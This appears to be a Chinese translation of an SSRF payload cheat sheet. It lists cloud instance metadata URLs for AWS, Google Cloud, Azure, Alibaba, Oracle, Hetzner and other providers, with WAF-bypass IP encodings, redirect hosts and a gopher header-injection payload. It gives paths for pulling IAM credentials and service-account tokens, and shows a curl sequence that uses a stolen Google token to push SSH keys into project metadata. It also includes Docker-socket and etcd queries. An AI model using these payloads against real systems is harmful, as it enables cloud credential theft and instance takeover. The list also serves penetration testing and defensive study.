跳转至

云实例的 SSRF URL (SSRF URL for Cloud Instances)

在云环境中利用服务端请求伪造 (SSRF) 时,攻击者通常以元数据端点为目标,以检索敏感的实例信息(如凭据、配置)。以下是按各种云和基础设施提供商分类的常见 URL 列表。

摘要 (Summary)

AWS 的 SSRF URL

AWS 实例元数据服务 (Instance Metadata Service) 是 Amazon EC2 实例中可用的一种服务,允许这些实例访问有关自身的元数据。 - 文档

  • IPv4 端点(旧版):http://169.254.169.254/latest/meta-data/
  • IPv4 端点(新版)需要响应头 X-aws-ec2-metadata-token
export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`
curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"
  • IPv6 端点:http://[fd00:ec2::254]/latest/meta-data/

在存在 WAF 的情况下,您可能需要尝试不同的方式来连接到 API。

  • 指向 AWS API IP 的 DNS 记录
http://instance-data
http://169.254.169.254
http://169.254.169.254.nip.io/
  • HTTP 重定向
静态: http://nicob.net/redir6a
动态: http://nicob.net/redir-http-169.254.169.254:80-
  • 对 IP 进行编码以绕过 WAF
http://425.510.425.510 带溢出的点分十进制
http://2852039166 无点十进制
http://7147006462 带溢出的无点十进制
http://0xA9.0xFE.0xA9.0xFE 点分十六进制
http://0xA9FEA9FE 无点十六进制
http://0x41414141A9FEA9FE 带溢出的无点十六进制
http://0251.0376.0251.0376 点分八进制
http://0251.00376.000251.0000376 带填充的点分八进制
http://0251.254.169.254 混合编码点分八进制 + 点分十进制
http://[::ffff:a9fe:a9fe] IPV6 压缩格式
http://[0:0:0:0:0:ffff:a9fe:a9fe] IPV6 展开格式
http://[0:0:0:0:0:ffff:169.254.169.254] IPV6/IPV4 混合格式
http://[fd00:ec2::254] IPV6

以下 URL 会返回与实例关联的 IAM 角色列表。然后,您可以将角色名称附加到此 URL 后,以检索该角色的安全凭据。

http://169.254.169.254/latest/meta-data/iam/security-credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/[角色名称]

此 URL 用于访问启动实例时指定的用户数据。用户数据通常用于将启动脚本或其他配置信息传递到实例中。

http://169.254.169.254/latest/user-data

用于查询实例各种元数据的其他 URL,例如主机名、公共 IPv4 地址和其他属性。

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/dynamic/instance-identity/document

示例

  • 导致 AWS 信息泄露的 Jira SSRF - https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance
  • *Flaws 挑战 - http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/

AWS ECS 的 SSRF URL

如果您在 ECS 实例上可以通过文件系统访问权限利用 SSRF,请尝试提取 /proc/self/environ 以获取 UUID。

curl http://169.254.170.2/v2/credentials/<UUID>

通过这种方式,您可以提取所绑定角色的 IAM 密钥。

AWS Elastic Beanstalk 的 SSRF URL

我们从 API 中检索 accountIdregion

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

然后,我们从 API 中检索 AccessKeyIdSecretAccessKeyToken

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

接着,我们使用这些凭据执行 aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/

AWS Lambda 的 SSRF URL

AWS Lambda 为自定义运行时提供了一个 HTTP API,用于从 Lambda 接收调用事件并在 Lambda 执行环境中发回响应数据。

http://localhost:9001/2018-06-01/runtime/invocation/next
http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next

文档:https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next

Google Cloud 的 SSRF URL

⚠ Google 将于 1 月 15 日停止对 v1 元数据服务 使用的支持。

需要响应头 "Metadata-Flavor: Google" 或 "X-Google-Metadata-Request: True"

http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id

Google 允许递归拉取

http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true

Beta 版本目前不需要响应头(感谢 Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

可以使用 gopher SSRF 并通过以下技术设置所需的响应头

gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attributes/ssh-keys%20HTTP%2f%31%2e%31%0AHost:%20metadata.google.internal%0AAccept:%20%2a%2f%2a%0aMetadata-Flavor:%20Google%0d%0a

一些值得提取的有趣文件:

  • SSH 公钥:http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json
  • 获取访问令牌 (Access Token):http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
  • Kubernetes 密钥:http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json

添加 SSH 密钥

提取令牌 (Token)

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

检查令牌的范围 (Scope)

$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  

{ 
        "issued_to": "101302079XXXXX", 
        "audience": "10130207XXXXX", 
        "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", 
        "expires_in": 2443, 
        "access_type": "offline" 
}

现在推送 SSH 密钥。

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" 
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" 
-H "Content-Type: application/json" 
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

Digital Ocean 的 SSRF URL

文档见 https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/ 
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

在一次请求中获取所有信息
curl http://169.254.169.254/metadata/v1.json | jq

Packetcloud 的 SSRF URL

文档见 https://metadata.packet.net/userdata

Azure 的 SSRF URL

有限,也许还有更多?https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/

http://169.254.169.254/metadata/v1/maintenance

2017 年 4 月更新,Azure 提供了更多支持;需要响应头 "Metadata: true" https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service

http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

OpenStack/RackSpace 的 SSRF URL

(是否需要响应头?未知)

http://169.254.169.254/openstack

HP Helion 的 SSRF URL

(是否需要响应头?未知)

http://169.254.169.254/2009-04-04/meta-data/ 

Oracle Cloud 的 SSRF URL

http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

Alibaba (阿里云) 的 SSRF URL

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id

Hetzner Cloud 的 SSRF URL

http://169.254.169.254/hetzner/v1/metadata
http://169.254.169.254/hetzner/v1/metadata/hostname
http://169.254.169.254/hetzner/v1/metadata/instance-id
http://169.254.169.254/hetzner/v1/metadata/public-ipv4
http://169.254.169.254/hetzner/v1/metadata/private-networks
http://169.254.169.254/hetzner/v1/metadata/availability-zone
http://169.254.169.254/hetzner/v1/metadata/region

Kubernetes ETCD 的 SSRF URL

可能包含 API 密钥、内部 IP 和端口

curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker 的 SSRF URL

http://127.0.0.1:2375/v1.24/containers/json

简单示例
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json

更多信息:

Rancher 的 SSRF URL

curl http://rancher-metadata/<version>/<path>

更多信息:https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-service/

参考资料 (References)